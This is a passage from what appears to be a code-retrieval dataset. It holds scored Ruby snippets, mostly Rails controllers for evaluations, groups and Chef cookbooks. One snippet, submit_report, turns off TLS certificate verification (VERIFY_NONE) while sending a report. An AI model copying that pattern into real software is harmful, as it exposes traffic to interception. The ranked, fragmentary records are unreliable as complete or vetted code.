"score": "0.45961276",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n @practice = Practice.find(@evaluation.practice_id)\n if @practice.answer == @evaluation.your_answer\n @justice = Justice.create!(\n user_id: 1,\n evaluation_user_id: @evaluation.user_id,\n practice_id: @evaluation.practice_id,\n\t evaluation_id: @evaluation.id,\n\t score: @evaluation.practice_score, # 得到满分\n\t p_score: @evaluation.practice_score,\n remark: \"完全正确!\",\n )\n @evaluation.update(score: @evaluation.practice_score)\n end\n format.html { redirect_to @evaluation, notice: \"答案更新成功\" }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d1042d77bfb937b84ea6cf3703e68c3",
"score": "0.45917553",
"text": "def cookbook_versions_for_run_list\n begin\n # not possible to be nil due to the route to get us to this API\n # endpoint\n environment_input = params[:environment_id]\n\n run_list_input = params[:run_list]\n raise BadRequest, \"Missing param: run_list\" unless run_list_input\n raise BadRequest, \"Param run_list is not an Array: #{run_list_input.class}\" unless run_list_input.is_a?(Array)\n\n # Convert the input array of strings to a RunList containing\n # RunListItem's.\n run_list = Chef::RunList.new\n run_list_input.each do |run_list_item_string|\n run_list << run_list_item_string\n end\n\n # Expand the run list in the scope of the specified environment.\n names_to_cookbook_version = Chef::CookbookVersionSelector.expand_to_cookbook_versions(run_list, environment_input)\n rescue Chef::Exceptions::CouchDBNotFound\n raise NotFound, \"Cannot load environment #{params[:environment_id]}\"\n rescue Chef::Exceptions::CookbookVersionSelection::InvalidRunListItems => e\n raise PreconditionFailed, e.to_json\n rescue Chef::Exceptions::CookbookVersionSelection::UnsatisfiableRunListItem => e\n raise PreconditionFailed, e.to_json\n end\n\n # Convert from\n # name => CookbookVersion\n # to\n # name => cookbook manifest\n # and display.\n display(names_to_cookbook_version.inject({}) do |res, (cookbook_name, cookbook_version)|\n res[cookbook_name] = cookbook_version.generate_manifest_with_urls {|opts| absolute_url(:cookbook_file, opts) }\n res\n end)\n end",
"title": ""
},
{
"docid": "cf117eb4520f5b5fc0465979e4d0d34e",
"score": "0.45904538",
"text": "def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end",
"title": ""
},
{
"docid": "0ea246cb70af49e4283a4407c1075a5a",
"score": "0.45817327",
"text": "def perform_fieri(cookbook)\n if Feature.active?(:fieri) && ENV[\"FIERI_URL\"].present?\n FieriNotifyWorker.perform_async(\n cookbook.latest_cookbook_version.id\n )\n end\n end",
"title": ""
},
{
"docid": "7a48a985dd3dc96e9f2cdf48be22224d",
"score": "0.4577845",
"text": "def evals_questions evaluation_id\n call_path = \"evals/questions\"\n request = {\"evaluationID\": evaluation_id}.to_json\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "a17f5dad258e303b681b2ad7450510ec",
"score": "0.45770884",
"text": "def new\n cookbook_id = current_user.create_cookbook\n if cookbook_id\n @cookbook = Cookbook.find cookbook_id\n load_user_cookbook @cookbook\n redirect_to templates_path, notice: \"A new cookbook was created for you.\"\n else\n redirect_to upgrade_account_path(current_user.id), alert: \"You must have a paid membership to work on your own cookbooks\"\n end\n end",
"title": ""
},
{
"docid": "f8433c4e27939200b420066f84735566",
"score": "0.45744327",
"text": "def evaluation_params\n params.require(:evaluation).permit(:value, :study_case_id, :user_id)\n end",
"title": ""
},
{
"docid": "fd523bb9a168ac1e368b31d19597e839",
"score": "0.4571677",
"text": "def create\n @inchef_recommendation = InchefRecommendation.new(inchef_recommendation_params)\n\n respond_to do |format|\n if @inchef_recommendation.save\n format.html { redirect_to @inchef_recommendation, notice: 'Inchef recommendation was successfully created.' }\n format.json { render :show, status: :created, location: @inchef_recommendation }\n else\n format.html { render :new }\n format.json { render json: @inchef_recommendation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a49b4b77c1d81614ff34a23d412f7c28",
"score": "0.45488024",
"text": "def create\n @competency_pertenece_evaluation = CompetencyPerteneceEvaluation.new(params[:competency_pertenece_evaluation])\n\n respond_to do |format|\n if @competency_pertenece_evaluation.save\n format.html { redirect_to @competency_pertenece_evaluation, notice: 'Competency pertenece evaluation was successfully created.' }\n format.json { render json: @competency_pertenece_evaluation, status: :created, location: @competency_pertenece_evaluation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competency_pertenece_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ab2179acfc30c1e1c11d6d37895b0e",
"score": "0.454412",
"text": "def new\n @evaluation = current_customer.customer_evaluations.new\n\n @evaluation.name = Evaluation.sample_evaluation.name if params[:testing]\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @evaluation}\n end\n end",
"title": ""
},
{
"docid": "1a3e4fed295f3ad3fe43a293609e4c92",
"score": "0.4529647",
"text": "def update\n respond_to do |format|\n if @cookbook.update(cookbook_params)\n format.html { redirect_to @cookbook, notice: 'Cookbook was successfully updated.' }\n format.json { render :show, status: :ok, location: @cookbook }\n else\n format.html { render :edit }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72998447e67f9023ceaa64af974e3fee",
"score": "0.4526319",
"text": "def get_cookbook_chef_versions ()\n cookbooks = rest.get_rest(\"/cookbooks/#{@cookbook_name}?num_version=all\")\n cookbooks[@cookbook_name]['versions'].each do |v|\n @versions.push v['version']\n end\n end",
"title": ""
},
{
"docid": "70b03cbdf87ce15f92f4a879b3b1a503",
"score": "0.45242962",
"text": "def target_cookbook\n return @target_cookbook unless @target_cookbook.nil?\n\n begin\n @target_cookbook = if version_constraint\n conn.cookbook.satisfy(name, version_constraint)\n else\n conn.cookbook.latest_version(name)\n end\n rescue Ridley::Errors::HTTPNotFound,\n Ridley::Errors::ResourceNotFound\n @target_cookbook = nil\n end\n\n if @target_cookbook.nil?\n msg = \"Cookbook '#{name}' found at #{self}\"\n msg << \" that would satisfy constraint (#{version_constraint})\" if version_constraint\n raise CookbookNotFound, msg\n end\n\n @target_cookbook\n end",
"title": ""
},
{
"docid": "bf29cdf9c2451515d69e1eca9b03836c",
"score": "0.4520215",
"text": "def create\n @quiz_result = QuizResult.new(params[:quiz_result])\n @quiz_result.student = current_student\n\n #If submitting.\n if @quiz_result.published\n @quiz_result.date = Time.now\n respond_to do |format|\n if @quiz_result.save\n @quiz_result.ocurrence = getOcurence @quiz_result\n @quiz_result.setGrade\n if @quiz_result.save\n format.html {redirect_to @quiz_result, notice: 'Quiz successfully answered.'}\n else\n format.html {redirect_to @quiz_result, notice: 'Error grading.'}\n end\n else\n format.html { render action: \"new\" }\n end\n end\n \n #If just saving, not submitting.\n else\n respond_to do |format|\n if @quiz_result.save\n format.html { redirect_to @quiz_result, notice: 'Quiz successfully saved.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end\n \n end",
"title": ""
},
{
"docid": "836ce5c667505bfb045154f0a7b7d57b",
"score": "0.45055956",
"text": "def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend",
"title": ""
},
{
"docid": "383909c83eb5dd13d5b01b2688766c80",
"score": "0.4503993",
"text": "def evaluate_answer(answer)\n course = answer.submission.assessment.course\n question = answer.question.actable\n assessment = answer.submission.assessment\n question.max_time_limit = course.programming_max_time_limit\n question.attachment.open(binmode: true) do |temporary_file|\n package = Course::Assessment::ProgrammingPackage.new(temporary_file)\n package.submission_files = build_submission_files(answer)\n package.remove_solution_files\n package.save\n\n evaluation_result = evaluate_package(question, package)\n build_result(question, evaluation_result,\n graded_test_case_types: assessment.graded_test_case_types)\n end\n end",
"title": ""
},
{
"docid": "7ba7e2c708d82ffd61d96d86a7375bc5",
"score": "0.44948733",
"text": "def restaurant_evaluation_params\n params.require(:restaurant_evaluation).permit(:restaurant_id, :restaurant_evaluation_type_id, :value, :evaluation_by_user, :evaluation_time, :evaluation_comment)\n end",
"title": ""
},
{
"docid": "d5d3d3c5748fb3b431160b49f8bc7395",
"score": "0.4492204",
"text": "def create\n recipe_name = @view.ask_name\n recipe_description = @view.ask_description\n recipe = Recipe.new(recipe_name, recipe_description)\n @cookbook.add_recipe(recipe)\n @view.listing\n end",
"title": ""
},
{
"docid": "13d1d3062e551face33176c40b8d34dc",
"score": "0.44881546",
"text": "def batali_cookbook_hash\n Chef::Log.warn 'Resolving cookbooks via Batali!'\n system = batali_build_system\n constraints = Smash[\n api_service.get_rest(\"environments/#{node.chef_environment}\").cookbook_versions.to_a\n ]\n restrictions = api_service.get_rest(\"environments/#{node.chef_environment}\").cookbook_versions.to_a\n requirements = Array.new.tap do |reqs|\n @expanded_run_list_with_versions.each do |item|\n c_name, c_version = item.split('@')\n c_name = c_name.split('::').first\n reqs << [c_name, c_version ? c_version : '> 0']\n end\n end\n unless(requirements.empty?)\n solver = Grimoire::Solver.new(\n :requirements => Grimoire::RequirementList.new(\n :name => 'requirements',\n :requirements => requirements\n ),\n :restrictions => Grimoire::RequirementList.new(\n :name => 'restrictions',\n :requirements => restrictions\n ),\n :system => system,\n :score_keeper => batali_build_score_keeper\n )\n results = solver.generate!\n solution = results.pop\n solution_output = solution.units.sort_by(&:name).map{|u| \"#{u.name}<#{u.version}>\"}.join(', ')\n node.set[:batali] ||= Mash.new\n node.set[:batali][:last_resolution] = Mash[solution.units.map{|u| [u.name, u.version]}]\n Chef::Log.warn \"Batali cookbook resolution: #{solution_output}\"\n Hash[\n solution.units.map do |unit|\n [unit.name, api_service.get_rest(\"cookbooks/#{unit.name}/#{unit.version}\")]\n end\n ]\n else\n node.set[:batali][:last_resolution] = Mash.new\n Chef::Log.warn 'Batali resolution not required. No cookbooks in run list!'\n Hash.new\n end\n end",
"title": ""
},
{
"docid": "762a873edbb7ba336054adc9fe607259",
"score": "0.44881353",
"text": "def chef_params\n params.require(:chef).permit(:delivery_range, :verification, :user_id, :currently_working)\n end",
"title": ""
},
{
"docid": "6796c5289d74431ced4f498fdf312358",
"score": "0.44880047",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a859fd20bede2f8e3c34dd93d7c10bd",
"score": "0.44878107",
"text": "def create\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.collection = evaluation_params[:collection]\n \n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully created.\" }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47ba7c5ea0512a9f41a9896018c666d9",
"score": "0.44823366",
"text": "def create\n @dish_evaluation = DishEvaluation.new(dish_evaluation_params)\n\n respond_to do |format|\n if @dish_evaluation.save\n format.html { redirect_to @dish_evaluation, notice: 'Dish evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @dish_evaluation }\n else\n format.html { render :new }\n format.json { render json: @dish_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7cbe117ff4e02dbe3f2c1f390914fc05",
"score": "0.44769302",
"text": "def update\n respond_to do |format|\n if @restaurant_evaluation.update(restaurant_evaluation_params)\n format.html { redirect_to @restaurant_evaluation, notice: 'Restaurant evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant_evaluation }\n else\n format.html { render :edit }\n format.json { render json: @restaurant_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b663b2221056cbd93e81901115c00165",
"score": "0.44754243",
"text": "def create\n @user_evaluation = ::UserEvaluation.new(user_evaluation_params)\n @user_evaluation.evaluation = @evaluation\n @user_evaluation.account = current_user.account\n \n if @user_evaluation.save\n render json: @user_evaluation, status: :created, \n serializer: ::Admin::Evaluation::UserEvaluationSerializer\n else\n render json: @user_evaluation.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "24221e294b54d7f52148e92c57d354bb",
"score": "0.44659138",
"text": "def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"title": ""
},
{
"docid": "8574e8e3eefc609b0c6d2b5d907129c3",
"score": "0.4460663",
"text": "def create\n @evaluation = Evaluation.new(params[:evaluation])\n\n respond_to do |format|\n if @evaluation.save\n flash[:notice] = 'Evaluation was successfully created.'\n format.html { redirect_to(@evaluation) }\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0797b71346ebcc6a7987bfa1adc721de",
"score": "0.44600853",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to result_url(@evaluation), notice: \"\" }\n format.json { redirect_to result_url(@evaluation) }\n #else\n # format.html { render :edit }\n # format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ff4e5b4ef648967ae49c6a175a30f2f",
"score": "0.44598705",
"text": "def update\n @evaluation.updated_by = current_user.id\n\n respond_to do |format|\n if @evaluation.update_attributes(evaluation_params)\n format.html {redirect_to customer_evaluation_path(current_customer, @evaluation), notice: I18n.t('evaluations.messages.successfully_updated')}\n format.json {head :no_content}\n else\n format.html {render action: \"edit\"}\n format.json {render json: @evaluation.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "160a53bfe38fc992bf2428b68b56ffdb",
"score": "0.44556206",
"text": "def save_dummy_cookbook_with_recipes(cookbook_name, cookbook_version, recipe_list)\n recipe_specs = normalize_recipe_specs(recipe_list)\n content_list = recipe_specs.map { |r| r[:content] }\n files = content_list.map { |content| Pedant::Utility.new_temp_file(content) }\n upload_files_to_sandbox(files)\n checksums = files.map { |f| Pedant::Utility.checksum(f) }\n recipes = recipe_specs.zip(checksums).map do |r, sum|\n dummy_recipe(r[:name], sum)\n end.sort { |a, b| a[:name] <=> b[:name] }\n opts = { :recipes => recipes }\n make_cookbook(admin_user, cookbook_name, cookbook_version, opts)\n end",
"title": ""
},
{
"docid": "29325f4ea946bd7742cce39590c590eb",
"score": "0.44486192",
"text": "def use(cookbook, version, location = nil)\n cookbooks[cookbook] ||= {}\n cookbooks[cookbook][:version] = version\n\n if location && location.is_a?(PathLocation)\n cookbooks[cookbook][:metadata] = true if location.metadata?\n cookbooks[cookbook][:location] = location.relative_path\n end\n end",
"title": ""
},
{
"docid": "940920178270999adda137b703502c20",
"score": "0.44407183",
"text": "def update\n respond_to do |format|\n if @cookbook.update(cookbook_params)\n format.html { redirect_to cookbook_path(@cookbook), notice: 'Cookbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66f28ecb85acba9619b8cec2cd2a707c",
"score": "0.44257683",
"text": "def create\n @complaint_client_satisfaction = ComplaintClientSatisfaction.new(complaint_client_satisfaction_params)\n\n respond_to do |format|\n if @complaint_client_satisfaction.save\n format.html { redirect_to @complaint_client_satisfaction.complaint, notice: 'client feedback was successfully submitted.' }\n format.json { render :show, status: :created, location: @complaint_client_satisfaction }\n else\n format.html { render :new }\n format.json { render json: @complaint_client_satisfaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c27d13d4f5e760c2db65c836b8a0749",
"score": "0.44239026",
"text": "def update\n respond_to do |format|\n if @course_evaluation.update(course_evaluation_params)\n format.html { redirect_to @course_evaluation, notice: 'Course evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_evaluation }\n else\n format.html { render :edit }\n format.json { render json: @course_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "134374cbc965a56883a9c959094e14bd",
"score": "0.4423265",
"text": "def evaluation_params\n params.require(:evaluation).permit(:employee_id, :task_id, :result, :comment, :image, :date)\n end",
"title": ""
},
{
"docid": "ef4eda837ba342d0fea46c43890b37c3",
"score": "0.44080853",
"text": "def company_cookbook(name, version = '>= 0.0.0', options = {})\n cookbook(name, version, { git: \"https://github.com/EagleGenomics-cookbooks/#{name}.git\" }.merge(options))\nend",
"title": ""
},
{
"docid": "a39b28a9a5a5fbdd827a9ea84e8f115e",
"score": "0.4406739",
"text": "def latest_version\n quietly {\n uri = rest.get_rest(name)['latest_version']\n\n [ version_from_uri(uri), uri ]\n }\n rescue Net::HTTPServerException => e\n if e.response.code == \"404\"\n raise CookbookNotFound, \"Cookbook '#{name}' not found at site: '#{api_uri}'\"\n else\n raise\n end\n end",
"title": ""
},
{
"docid": "c8858bffa98cd3096841f521700aeb77",
"score": "0.44008884",
"text": "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end",
"title": ""
},
{
"docid": "61c6bcef8ff1a622a0f914f373a96586",
"score": "0.43995684",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully updated.\" }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "318cce6906abf1c40ed56e8f2464d912",
"score": "0.4396894",
"text": "def evaluation_params\n params.require(:evaluation).permit(:course_id, :professor_id, :course_score, :teacher_score)\n end",
"title": ""
},
{
"docid": "b69a13a5b3069d70c264abe2ab6d5304",
"score": "0.43964097",
"text": "def install(cookbook, version, location)\n cookbooks[cookbook] ||= {}\n cookbooks[cookbook][:version] = version\n cookbooks[cookbook][:location] = location.to_s\n end",
"title": ""
},
{
"docid": "030490cb9f2441f495f875533c2f1a4c",
"score": "0.43951944",
"text": "def required_version\n fetch(:chef_version) || nil\n end",
"title": ""
},
{
"docid": "32c10329a79d2e2adfb9b591ddf2f90b",
"score": "0.4393291",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32c10329a79d2e2adfb9b591ddf2f90b",
"score": "0.4393291",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32c10329a79d2e2adfb9b591ddf2f90b",
"score": "0.4393291",
"text": "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a55e5b6f51eccced8952ceecbdb60b9",
"score": "0.43890885",
"text": "def update\n respond_to do |format|\n if @chef_resource.update(chef_resource_params)\n format.html { redirect_to edit_chef_resource_path(@chef_resource), notice: 'Chef resource was successfully updated.' }\n format.json { render :show, status: :ok, location: edit_chef_resource_path(@chef_resource) }\n else\n format.html { render :edit }\n format.json { render json: @chef_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32dab9fad9fb9a44863d6c50f9df8eb3",
"score": "0.4388529",
"text": "def create\n @evaluation_result = current_evaluation.evaluation_results.new(evaluation_result_params)\n @evaluation_result.created = current_user\n @evaluation_result.updated_by = current_user.id\n @evaluation_result.company_branch_ids = params[\"evaluation_result\"][\"evaluation_result_company_branches\"].reject!{ |c| !c.present? }\n\n if params[:links].present? and params[:links].is_a?(Array)\n @evaluation_result.links = params[:links][1..-1].select(&:present?)\n end\n\n respond_to do |format|\n if @evaluation_result.save\n track_evaluation_update\n\n format.html { redirect_to customer_evaluation_path(current_customer, current_evaluation), notice: I18n.t('evaluation_results.messages.successfully_created') }\n format.json { render json: @evaluation_result, status: :created, location: @evaluation_result }\n else\n format.html { render action: :new }\n format.json { render json: @evaluation_result.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
373f400409673b6cde07f1eb64c29807 | DELETE /work_groups/1 DELETE /work_groups/1.json | [
{
"docid": "43ac8dd6c35d86e6de782ccc77a5f339",
"score": "0.781194",
"text": "def destroy\n @work_group.destroy\n respond_to do |format|\n format.html { redirect_to work_groups_url, notice: 'Work group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] | [
{
"docid": "27dbf54d123c717384c30088d17fcaf0",
"score": "0.7863672",
"text": "def destroy\r\n @workgroup.destroy\r\n respond_to do |format|\r\n format.html { redirect_to workgroups_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "7bbad091a4833a75a7726d10b1eab208",
"score": "0.7729296",
"text": "def destroy\n @workgroup.destroy\n respond_to do |format|\n format.html { redirect_to tenant_workgroups_url, notice: 'Workgroup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a50dfbad6afe22e727d586d0c67bed50",
"score": "0.7567958",
"text": "def destroy\n @workgroup.destroy\n redirect_to workgroups_url\n end",
"title": ""
},
{
"docid": "ed3758e41c78668f96f399c816be6975",
"score": "0.7324937",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ed3758e41c78668f96f399c816be6975",
"score": "0.7324937",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6bcedfe965043af5e8a2fb7e281d0626",
"score": "0.72824347",
"text": "def destroy\n @group = @dataset.groups.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to dataset_groups_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a86e33e71ae77a735956076ba3d78970",
"score": "0.72611654",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html {}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9210069f67f6ae81b796707cab76a792",
"score": "0.72418964",
"text": "def destroy\n @working_group.destroy\n respond_to do |format|\n format.html { redirect_to @circle, notice: 'Working group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cd63361d8b61e333068874552c76351c",
"score": "0.7236815",
"text": "def destroy\n @startup_has_group.destroy\n respond_to do |format|\n format.html { redirect_to startup_has_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14af35499f945fe691a33beb74132456",
"score": "0.72341996",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to my_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "656ca4e006a88419c2a4536de5e715d5",
"score": "0.72241",
"text": "def destroy\n @occasional_group.destroy\n respond_to do |format|\n format.html { redirect_to @hack_meet, notice: 'Occasional group was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fb8cdcffb9dec3ec8ff696f7195c58d5",
"score": "0.7211914",
"text": "def destroy #delete group\n @group = Group.find(params[:id])\n @group.destroy\n render json: {message:\"Group Deleted\"}\n end",
"title": ""
},
{
"docid": "79fcfdc3bb73319c371212bb9024aff8",
"score": "0.71904546",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "53158de2091770f6d801c1d315bab3b9",
"score": "0.7177515",
"text": "def delete_group\n @group = Group.find(params[:group_id])\n @course = Course.find(params[:course_id])\n @course.groups.delete @group\n render :json => @course.groups\n end",
"title": ""
},
{
"docid": "4da53ba3ed9ac34bff6594cc583fa781",
"score": "0.7172294",
"text": "def destroy\n @small_group.destroy\n respond_to do |format|\n format.html { redirect_to small_groups_url, notice: '' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "733cf534cce9141520dacc5f511cae8e",
"score": "0.71687496",
"text": "def destroy\n @test_group = TestGroup.find(params[:id])\n @test_group.destroy\n\n respond_to do |format|\n format.html { redirect_to test_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6bfb11837de9464b84b7244b2d60a496",
"score": "0.7161384",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { render json: \"Deleted success..\"}\n end\n end",
"title": ""
},
{
"docid": "a1c78e428de28dbcfb29105fcecfd322",
"score": "0.7153154",
"text": "def destroy\n @group = Group.find(params[:id])\n\n @group.destroy\n\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3cef85ba8deaccbabc31c3d908cf3d41",
"score": "0.7150207",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8cd02becdcb8864a81a896224c1b4195",
"score": "0.71445245",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "451694a40626a25d5da3b88c9dc86319",
"score": "0.7140604",
"text": "def destroy\n @group = @time_series.groups.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to time_series_time_series_groups_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7132233",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "afd07993b1434b87c81cbf607b336f36",
"score": "0.7128339",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n\n end",
"title": ""
},
{
"docid": "2d119a841b747256e5afe98990ddd25b",
"score": "0.71228194",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "96ae905a7322950451dfadb0b0a8ee08",
"score": "0.7118387",
"text": "def destroy\n @research_group.destroy\n respond_to do |format|\n format.html { redirect_to research_groups_url, notice: 'Research group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6f3da2f1ec59f8473c15e57d1df18e6e",
"score": "0.7118084",
"text": "def destroy\n @todo_group = TodoGroup.find(params[:id])\n @todo_group.destroy\n\n respond_to do |format|\n format.html { redirect_to todo_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "129f8118335894440462952ab67c9e1e",
"score": "0.7116202",
"text": "def destroy\n @group.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "129f8118335894440462952ab67c9e1e",
"score": "0.7116202",
"text": "def destroy\n @group.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "b66f3e1a815878714fda12befe5774bd",
"score": "0.7110992",
